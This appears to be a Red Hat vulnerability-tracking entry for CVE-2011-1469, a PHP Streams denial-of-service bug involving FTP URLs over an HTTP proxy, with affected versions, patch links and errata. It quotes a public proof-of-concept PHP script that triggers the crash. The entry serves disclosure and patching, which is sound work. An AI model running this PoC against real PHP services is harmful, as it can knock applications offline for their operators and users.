Common Vulnerabilities and Exposures assigned an identifier CVE-2011-1469 to the following vulnerability: Unspecified vulnerability in the Streams component in PHP before 5.3.6 allows context-dependent attackers to cause a denial of service (application crash) by accessing an ftp:// URL during use of an HTTP proxy with the FTP wrapper. References: [1] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1469 [2] http://bugs.php.net/bug.php?id=54092 [3] http://www.php.net/ChangeLog-5.php Upstream patch: [4] http://svn.php.net/viewvc/?view=revision&revision=308734
Public PoC from [2]: ==================== <?php $uri = 'ftp://pkg-shadow.alioth.debian.org/pub/pkg-shadow/shadow-4.1.4.3.tar.bz2'; $proxy = 'tcp://proxy:8080'; $opts = array( 'ftp' => array( 'proxy' => $proxy ) ); $context = stream_context_create($opts); stream_context_set_params($context, array()); $fh = fopen($uri, 'r', false, $context); while (!feof($fh)) { echo "foo\n"; fread($fh, 4 * 1024); } fclose($fh); ?>
This issue did NOT affect the version of the php package, as shipped with Red Hat Enterprise Linux 4. -- This issue affects the versions of the php package, as shipped with Red Hat Enterprise Linux 5 and 6. This issue affects the versions of the php53 package, as shipped with Red Hat Enterprise Linux 5. -- This issue does NOT affect the versions of the php package, as shipped with Fedora release of 13 and 14 (particular package updates were already scheduled).
This issue has been addressed in following products: Red Hat Enterprise Linux 5 Red Hat Enterprise Linux 6 Via RHSA-2011:1423 https://rhn.redhat.com/errata/RHSA-2011-1423.html
Statement: This issue did not affect the version of php as shipped with Red Hat Enterprise Linux 4.
This issue has been addressed in following products: Red Hat Enterprise Linux 5 Via RHSA-2012:0033 https://rhn.redhat.com/errata/RHSA-2012-0033.html